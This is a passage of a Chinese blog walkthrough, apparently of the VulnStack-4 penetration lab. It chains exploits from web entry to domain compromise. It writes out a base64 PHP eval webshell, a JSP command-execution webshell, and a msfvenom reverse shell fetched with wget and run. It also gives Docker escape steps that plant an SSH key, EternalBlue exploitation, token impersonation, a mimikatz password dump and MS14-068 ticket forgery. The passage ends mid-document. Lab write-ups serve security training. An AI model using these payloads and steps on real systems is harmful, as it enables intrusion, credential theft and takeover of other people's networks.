class="headerlink" title="Web渗透"></a>Web渗透</h3><h4 id="struts2渗透"><a href="#struts2渗透" class="headerlink" title="struts2渗透"></a>struts2渗透</h4><p>直接上工具扫一下，工具地址：<a href="https://github.com/zhzyker/vulmap">https://github.com/zhzyker/vulmap</a></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210707124315972.png" alt loading="lazy"></p><p>存在s2-045，RCE</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210707124347853.png" alt loading="lazy"></p><h4 id="phpmyadmin渗透"><a href="#phpmyadmin渗透" class="headerlink" title="phpmyadmin渗透"></a>phpmyadmin渗透</h4><p>看到<code>phpmyadmin</code>版本为4.8.1，想到文件包含漏洞（CVE-2018-12613）</p><pre class="language-bash" data-language="bash"><code class="language-bash">searchsploit phpmyadmin <span class="token number">4.8</span>.1</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630142047587.png" alt loading="lazy"></p><p>测试payload：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//192.168.0.105:2003/index.php?target=db_sql.php%253f/../../../../../etc/passwd</span></span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704205952878.png" alt loading="lazy"></p><p>利用<code>session</code>文件包含，查询一条<code>sql</code>语句，<code>file_put_contents</code>写文件</p><pre class="language-mysql" data-language="mysql"><code class="language-mysql">SELECT &#39;&lt;?php file_put_contents(&quot;extrader.php&quot;,base64_decode(&quot;PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4&#x3D;&quot;));?&gt;</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704210700760.png" alt loading="lazy"></p><p><code>cookie</code>中<code>phpMyAdmin</code>的值为<code>d70bbb50bbcc99dde55870cf69eda13b</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704210737586.png" alt loading="lazy"></p><p>访问<code>http://192.168.0.105:2003/index.php?target=db_sql.php%3f../../../../../../../tmp/sess_d70bbb50bbcc99dde55870cf69eda13b</code>，把shell写进去</p><p>随后蚁剑连接</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704211035539.png" alt loading="lazy"></p><p>成功连接</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704211100989.png" alt loading="lazy"></p><h4 id="tomcat渗透"><a href="#tomcat渗透" class="headerlink" title="tomcat渗透"></a>tomcat渗透</h4><pre class="language-bash" data-language="bash"><code class="language-bash">searchsploit tomcat <span class="token number">8.5</span>.19</code></pre><p>由nmap扫描信息可知，2002端口的Tomcat版本为8.5.19，search一下发现有洞</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630142226990.png" alt loading="lazy"></p><p>用第一个脚本进行exploit</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630142742574.png" alt loading="lazy"></p><p>成功拿到root权限</p><p>利用漏洞原理传个shell，好执行命令</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630144121828.png" alt loading="lazy"></p><pre class="language-jsp" data-language="jsp"><code class="language-jsp">&lt;%@ page import&#x3D;&quot;java.util.*,java.io.*,java.net.*&quot;%&gt;&lt;%%&gt;&lt;HTML&gt;&lt;BODY&gt;&lt;FORM METHOD&#x3D;&quot;POST&quot; NAME&#x3D;&quot;myform&quot; ACTION&#x3D;&quot;&quot;&gt;&lt;INPUT TYPE&#x3D;&quot;text&quot; NAME&#x3D;&quot;cmd&quot;&gt;&lt;INPUT TYPE&#x3D;&quot;submit&quot; VALUE&#x3D;&quot;Send&quot;&gt;&lt;&#x2F;FORM&gt;&lt;pre&gt;&lt;%if (request.getParameter(&quot;cmd&quot;) !&#x3D; null) &#123;    out.println(&quot;Command: &quot; + request.getParameter(&quot;cmd&quot;) + &quot;\n&lt;BR&quot;);    Process p &#x3D; Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;));    OutputStream os &#x3D; p.getOutputStream();    InputStream in &#x3D; p.getInputStream();    DataInputStream dis &#x3D; new DataInputStream(in);    String disr &#x3D; dis.readLine();    while ( disr !&#x3D; null ) &#123;        out.println(disr); disr &#x3D; dis.readLine();     &#125;&#125;%&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;BODY&gt;&lt;&#x2F;HTML&gt;</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630144244721.png" alt loading="lazy"></p><h3 id="Docker主机逃逸"><a href="#Docker主机逃逸" class="headerlink" title="Docker主机逃逸"></a>Docker主机逃逸</h3><p><strong>msf弹shell</strong></p><pre class="language-bash" data-language="bash"><code class="language-bash">msfvenom -p linux/x86/meterpreter/reverse_tcp <span class="token assign-left variable">LHOST</span><span class="token operator">=</span><span class="token number">192.168</span>.0.106 <span class="token assign-left variable">LPORT</span><span class="token operator">=</span><span class="token number">4444</span> -f elf <span class="token operator">></span> shell.elf</code></pre><p>生成一个<code>msf</code>马<code>shell.elf</code></p><p>在本地用python开一个http服务</p><pre class="language-bash" data-language="bash"><code class="language-bash">python3 -m http.server</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704211900711.png" alt loading="lazy"></p><p>下载shell并给权限</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> http://192.168.0.106:8000/shell.elf<span class="token function">chmod</span> <span class="token number">777</span> shell.elf</code></pre><p>kali机开启监听</p><pre class="language-bash" data-language="bash"><code class="language-bash">msfconsoleuse exploit/multi/handler<span class="token builtin class-name">set</span> PAYLOAD linux/x86/meterpreter/reverse_tcp<span class="token builtin class-name">set</span> LHOST <span class="token number">192.168</span>.183.1show optionsrun</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704211955352.png" alt loading="lazy"></p><p>随后靶机上执行<code>./shell.elf</code>，msf即可成功获得会话</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704212038957.png" alt loading="lazy"></p><h4 id="利用CVE-2019-5736逃逸"><a href="#利用CVE-2019-5736逃逸" class="headerlink" title="利用CVE-2019-5736逃逸"></a><strong>利用CVE-2019-5736逃逸</strong></h4><p>在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6，因此允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。</p><p>平台或产品 受影响版本 Docker Version &lt; 18.09.2 runC Version &lt;= 1.0-rc6</p><p>恶意容器需满足以下两个条件之一：</p><ul><li>由一个攻击者控制的恶意镜像创建</li><li>攻击者具有某已存在容器的写权限，且可通过docker exec进入。</li></ul><p>Poc地址：<a href="https://github.com/Frichetten/CVE-2019-5736-PoC">https://github.com/Frichetten/CVE-2019-5736-PoC</a></p><p>是一个go写的脚本，需要自己下载编译</p><p>先装go环境</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /usr/local<span class="token function">wget</span> https://studygolang.com/dl/golang/go1.16.5.linux-amd64.tar.gz<span class="token function">tar</span> -xzf go1.16.5.linux-amd64.tar.gz<span class="token function">vim</span> /etc/profile添加 <span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span><span class="token environment constant">$PATH</span>:/usr/local/go/bin<span class="token builtin class-name">source</span> /etc/profilego version</code></pre><p>出现版本号即安装成功</p><p>编译生成payload</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> <span class="token assign-left variable">GOOS</span><span class="token operator">=</span>linux <span class="token assign-left variable">GOARCH</span><span class="token operator">=</span>amd64 go build main.go</code></pre><p>用msf会话将编译得到的main文件上传到docker容器的/home目录中，并赋权</p><pre class="language-bash" data-language="bash"><code class="language-bash">upload /home/kali/CVE-2019-5736-PoC/main /home</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630153924481.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630154042270.png" alt loading="lazy"></p><p>在kali机上监听</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">nc</span> -lvp <span class="token number">4444</span></code></pre><p>到靶机上执行<code>./main</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630154346666.png" alt loading="lazy"></p><p>此时，只需等待目标机管理员重启该docker容器，payload就会触发，如下图，我们手动模拟docker重启：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">docker</span> <span class="token builtin class-name">exec</span> -it 09dd4e5bfa91 /bin/bash</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630154713907.png" alt loading="lazy"></p><p>显示payload执行成功</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630154743000.png" alt loading="lazy"></p><p>但是并未收到shell</p><h4 id="利用-privileged特权模式逃逸"><a href="#利用-privileged特权模式逃逸" class="headerlink" title="利用--privileged特权模式逃逸"></a><strong>利用--privileged特权模式逃逸</strong></h4><ul><li>特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。</li><li>使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行<code>docker run —privileged</code>时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。</li><li>当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。</li></ul><p>具体可参考：<a href="https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/">配置不当导致的容器逃逸</a></p><p>学习路线中有一个ssh密钥利用，推测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥，实现ssh免密登录宿主机，从而实现对目标宿主机的控制</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /hack<span class="token function">ls</span> /dev<span class="token punctuation">..</span>.sdasda1sda2sda5<span class="token punctuation">..</span>.</code></pre><p>尝试将<code>/dev/sda1</code>挂载到<code>/hack</code>目录里<code>mount /dev/sda1 /hack</code>，<code>ls /hack</code>查看，挂载成功</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630155318769.png" alt loading="lazy"></p><p><strong>在docker容器里挂载一个宿主的本地目录，这样某些容器里输出的文件，就可以在本地目录中打开访问了。</strong></p><p>将sda1挂载成功，我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的，比如我们访问<code>/hack/home</code>目录也就是访问宿主机的<code>/home</code>目录</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210630160348268.png" alt loading="lazy"></p><p>本地生成ssh秘钥</p><pre class="language-bash" data-language="bash"><code class="language-bash">ssh-keygen -f hack<span class="token function">chmod</span> <span class="token number">600</span> hack    // 不要忘记对秘钥文件赋600权限，否则不能执行</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704212159965.png" alt loading="lazy"></p><p>我们要将<code>ssh</code>秘钥写入到<code>.ssh</code>目录里面并将文件命名为<code>authorized_keys</code>（目标机<code>.ssh</code>目录权限必须为700）。</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">cp</span> -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys    <span class="token comment"># -avx是将权限也一起复制</span><span class="token builtin class-name">echo</span> <span class="token string">'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg9LpD/MuFWzIzUQB4RQCFa8Avljlla4Z0iuk3jMQVxrxcDjOhoaLmXmbS63/crPQ15s1oEzNpi2L0MtU/ZMbDFHpKVJGSwNbZeMzEnYsOMd1x4r6BojP4bN4d2okv4sYVSCgWiNUQBHWQcUcnf3rkFw309maxSIwiNNl1C6jzwCNjo3rWA9YV8869N7q/oZtPob3M5yVT77nYMOdO4mnU/A8dbr8KkmcjoVZclK1aAnu96XJywWmArtfZjF9FdlqUkB9ZhknnpxHqP1/sH5lNk/S/pOQTq94VpU4YdK4aBt5mFj16okbudhNKGOBBlNFECcQIU/11djNDYD+FqVn7H/rKuYa7LOJkNhgXv/Q7tBIuoJBrWKqFSQPxUdiTDzeuWhWVw5Kjzf3sEoTOHqO7oUD23iQHnoO1ZwxJp/CnDRSTyCcxTcUwheM+JTSEXembyDtQWPmt3g24UNish8s3INTPT2Abd1q2mspwuSKWHuZo8yIrNq5mfS8lvkhT1rc= kali@kali'</span> <span class="token operator">></span> /hack/home/ubuntu/.ssh/authorized_keys    <span class="token comment"># 将ssh秘钥写入authorized_keys文件</span></code></pre><p>如果上面echo不进去可以直接在msf中上传</p><p>此时，攻击者就可以利用自己的私钥进行免密登陆目标宿主机了</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">ssh</span> -i hack ubuntu@192.168.0.105  <span class="token punctuation">(</span>图后面加的,IP地址变了<span class="token punctuation">)</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210706112334391.png" alt loading="lazy"></p><h3 id="内网渗透"><a href="#内网渗透" class="headerlink" title="内网渗透"></a>内网渗透</h3><h4 id="内网探测添加路由"><a href="#内网探测添加路由" class="headerlink" title="内网探测添加路由"></a>内网探测添加路由</h4><p>我们已经拿到ubuntu这台服务器，重新弹个meterpreter过来</p><p>kali机重新开启一个Web服务：<code>python3 -m http.server</code></p><p>msf上监听端口</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">set</span> AutoRunScript migrate -f  <span class="token punctuation">(</span>自动迁移进程,防止用户删除木马,丢失目标<span class="token punctuation">)</span></code></pre><p>在ubuntu上执行</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> http://192.168.0.106:8000/shell.elf<span class="token function">chmod</span> <span class="token number">777</span> shell.elf./shell.elf</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210702142225406.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704213704739.png" alt loading="lazy"></p><p>msf传一个ew上去<code>upload /home/kali/ew_for_linux64 /home/ubuntu</code></p><p><code>ifconfig</code>查看Ubuntu上的内网</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704214545080.png" alt loading="lazy"></p><p>发现存在（192.168.183.1/24）这个内网</p><p>于是我们在ubuntu上开启socks5正向代理</p><p>ew下链接：<a href="https://github.com/idlefire/ew">https://github.com/idlefire/ew</a></p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token number">777</span> ew_for_linux64./ew_for_linux64 -s ssocksd -l <span class="token number">1080</span> </code></pre><p>此时，kali上的应用程序就可以通过proxychains代理进目标内网了<code>vim /etc/proxychains4.conf</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704214215866.png" alt loading="lazy"></p><p>探测内网存活的主机，因为使用的是socks的代理，只能使用tcp协议，所以nmap使用的时候要使用<code>-sT</code>选择使用<code>tcp</code>协议，要使用<code>-Pn</code>不使用<code>ICMP</code>的<code>ping</code>确认主机存活</p><pre class="language-bash" data-language="bash"><code class="language-bash">proxychains4 nmap -sT -sV -Pn -n -p22,445 <span class="token number">192.168</span>.183.0/24</code></pre><p>经过扫描可以得知目标内网中还有192.168.183.129（Win7）和192.168.183.130（DC）这两台主机。并且都开了445端口</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704222620931.png" alt loading="lazy"></p><p>在msf添加内网路由，这里直接在msf中<code>run autoroute</code>会报错</p><p>具体参考：<a href="https://www.jason-w.cn/pentest/2021/02/28/242.html">https://www.jason-w.cn/pentest/2021/02/28/242.html</a></p><pre class="language-bash" data-language="bash"><code class="language-bash">backgrounduse post/multi/manage/autorouteshow options<span class="token builtin class-name">set</span> <span class="token environment constant">SESSION</span> <span class="token number">7</span><span class="token builtin class-name">set</span> SUBNET <span class="token number">192.168</span>.183.0show optionsexploitroute</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704221640149.png" alt loading="lazy"></p><p><code>exploit</code>后查看<code>route</code>路由</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704221735839.png" alt loading="lazy"></p><h4 id="ms17-010利用"><a href="#ms17-010利用" class="headerlink" title="ms17_010利用"></a>ms17_010利用</h4><p>扫描目标内网中可能存在ms17_010永恒之蓝漏洞的主机</p><pre class="language-bash" data-language="bash"><code class="language-bash">use auxiliary/scanner/smb/smb_ms17_010 <span class="token builtin class-name">set</span> RHOSTS <span class="token number">192.168</span>.183.128-130run</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210704223127961.png" alt loading="lazy"></p><p>先打Windows7这台</p><p>我们使用<code>chisel</code>代理工具来进行内网渗透连接，下载链接：<a href="https://github.com/jpillora/chisel">https://github.com/jpillora/chisel</a></p><p>具体使用方法可以看：<a href="https://www.anquanke.com/post/id/234771">https://www.anquanke.com/post/id/234771</a></p><p>为什么不用原来的ew，因为用ew不稳定，<code>ms17_011</code>打不通（本人亲测打不通）</p><p>Ubuntu上执行<code>./chisel server -p 2333 --socks5</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705103219718.png" alt loading="lazy"></p><p>Kali机上进行连接<code>./chisel client 192.168.0.107:2333 1080:socks</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705103303270.png" alt loading="lazy"></p><p>反向代理，这样我们kali机上的1080端口就可以访问内网里的主机了</p><p>然后用msf打</p><pre class="language-bash" data-language="bash"><code class="language-bash">setg Proxies socks5:127.0.0.1:1080       // 设置代理，不设置代理ms17_010很难打通use exploit/windows/smb/ms17_010_eternalblue<span class="token builtin class-name">set</span> payload windows/x64/meterpreter/bind_tcp<span class="token builtin class-name">set</span> RHOST <span class="token number">192.168</span>.183.129<span class="token builtin class-name">set</span> LHOST <span class="token number">192.168</span>.0.106<span class="token builtin class-name">set</span> LPORT <span class="token number">4444</span><span class="token builtin class-name">set</span> AutoRunScript post/windows/manage/migrate             // 自动迁移进程run</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705103725565.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705103739255.png" alt loading="lazy"></p><p>一次打通</p><h4 id="内网信息搜集"><a href="#内网信息搜集" class="headerlink" title="内网信息搜集"></a>内网信息搜集</h4><pre class="language-bash" data-language="bash"><code class="language-bash">sysinfo                <span class="token comment">#查看主机信息</span>getuid                 <span class="token comment">#查看当前token</span>use incognito          <span class="token comment">#加载incognito，（用来盗窃目标主机的令牌或是假冒用户)</span>list_tokens -u         <span class="token comment">#列出目标主机用户的可用令牌</span>impersonate_token <span class="token string">"DEMO\douser"</span> <span class="token comment">#模拟DEMO\douser用户</span>rev2self               <span class="token comment">#返回到之前的AccessToken权限</span></code></pre><pre class="language-bash" data-language="bash"><code class="language-bash">execute -f cmd.exe -i       <span class="token comment"># 交互式运行cmd</span>execute -f cmd.exe -i -t    <span class="token comment"># 使用可用token 运行</span>execute -f cmd.exe -i -H -t <span class="token comment"># 同上，同时隐藏进程</span><span class="token comment"># 可以直接shell</span>chcp <span class="token number">65001</span>      <span class="token comment"># 简单解决一下乱码</span>ipconfig /all   <span class="token comment"># 查看本机ip，所在域</span>route print     <span class="token comment"># 打印路由信息</span>net view        <span class="token comment"># 查看局域网内其他主机名</span>arp -a          <span class="token comment"># 查看arp缓存</span><span class="token function">whoami</span>net start       <span class="token comment"># 查看开启了哪些服务</span>net share       <span class="token comment"># 查看开启了哪些共享</span>net share ipc$  <span class="token comment"># 开启ipc共享</span>net share c$    <span class="token comment"># 开启c盘共享</span>net use <span class="token punctuation">\</span><span class="token punctuation">\</span><span class="token number">192.168</span>.xx.xx<span class="token punctuation">\</span>ipc$ <span class="token string">""</span> /user:<span class="token string">""</span>   <span class="token comment"># 与192.168.xx.xx建立空连接</span>net use <span class="token punctuation">\</span><span class="token punctuation">\</span><span class="token number">192.168</span>.xx.xx<span class="token punctuation">\</span>c$ <span class="token string">"密码"</span> /user:<span class="token string">"用户名"</span>  <span class="token comment"># 建立c盘共享</span><span class="token function">dir</span> <span class="token punctuation">\</span><span class="token punctuation">\</span><span class="token number">192.168</span>.xx.xx<span class="token punctuation">\</span>c$<span class="token punctuation">\</span>user    <span class="token comment"># 查看192.168.xx.xx c盘user目录下的文件</span><span class="token comment"># 以下命令需要切换到域用户douser执行</span>net config Workstation   <span class="token comment"># 查看计算机名、全名、用户名、系统版本、工作站、域、登录域</span>net user                 <span class="token comment"># 查看本机用户列表</span>net user /domain         <span class="token comment"># 查看域用户</span>net localgroup administrators   <span class="token comment"># 查看本地管理员组（通常会有域用户）</span>net view /domain         <span class="token comment"># 查看有几个域</span>net user 用户名 /domain   <span class="token comment"># 获取指定域用户的信息</span>net group /domain        <span class="token comment"># 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）</span>net group 组名 /domain    <span class="token comment"># 查看域中某工作组</span>net group <span class="token string">"domain admins"</span> /domain  <span class="token comment"># 查看域管理员的名字</span>net group <span class="token string">"domain computers"</span> /domain  <span class="token comment"># 查看域中的其他主机名</span>net group <span class="token string">"doamin controllers"</span> /domain  <span class="token comment"># 查看域控制器（可能有多台）</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705110427222.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705112759516.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705112650145.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705112722114.png" alt loading="lazy"></p><p>由搜集到的信息，我们知道目标win7在demo.com域中，域控为<code>WIN-ENS2VR5TR3N</code>，域管理员为<code>Administrator</code>，<code>ping</code>查看域控<code>ip</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705113022472.png" alt loading="lazy"></p><p>在目标机上传mimikatz，抓一下Windows 7的密码，mimikatz要有管理员权限不然无法抓取内存密码，要先模拟个system的令牌才能执行成功</p><pre class="language-bash" data-language="bash"><code class="language-bash">impersonate_token <span class="token string">"NT AUTHORITY\SYSTEM"</span>shellmimikatz.exeprivilege::debug         <span class="token comment"># 权限提升</span>sekurlsa::logonpasswords <span class="token comment"># 抓取密码</span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705122131380.png" alt loading="lazy"></p><p>得到明文密码为<code>Dotest123</code>，接下来可以进行横向移动攻击域控</p><p>尝试用<code>ms17_010</code>打域控机</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705133417461.png" alt loading="lazy"></p><p>利用失败</p><h4 id="ms14-068利用"><a href="#ms14-068利用" class="headerlink" title="ms14-068利用"></a>ms14-068利用</h4><p>漏洞利用前提</p><ol><li>域控没有打MS14-068的补丁(KB3011780)</li><li>拿下一台加入域的计算机</li><li>有这台域内计算机的域用户密码和sid</li></ol><p>使用ms14-068，下载地址：<a href="https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068">https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068</a></p><pre class="language-bash" data-language="bash"><code class="language-bash">upload /home/kali/Desktop/WindowsExploits/MS14-068/MS14-068.exe c:<span class="token punctuation">\</span><span class="token punctuation">\</span>users<span class="token punctuation">\</span><span class="token punctuation">\</span>douser</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705134119462.png" alt loading="lazy"></p><p>在win7上执行下面一条命令<br>域成员<code>sid</code>在上面<code>mimikatz</code>中获取到了，当然也可以用<code>whoami /user</code> 获取<code>sid</code></p><pre class="language-bash" data-language="bash"><code class="language-bash">ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d <span class="token number">192.168</span>.183.130 -p Dotest123// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码</code></pre><p>成功生成票据文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnStack-4%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/image-20210705134511406.png" alt loading="lazy"></p><pre class="language-bash" data-language="bash"><code class="language-bash">c:<span class="token punctuation">\</span>windows<span class="token punctuation">\</span>system32<span class="token punctuation">\</span>mimikatz.exekerberos::purge               <span class="token comment"># 清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造</span>kerberos::list                <span class="token comment"># 查看当前机器凭证</span>kerberos::ptc TGT_douser@DEMO.com.ccache<span class="token punctuation">(</span>生成的票据文件<span class="token punctuation">)</span>   <span class="token comment"># 将票据注入到内存中</span></code></pre><p><img 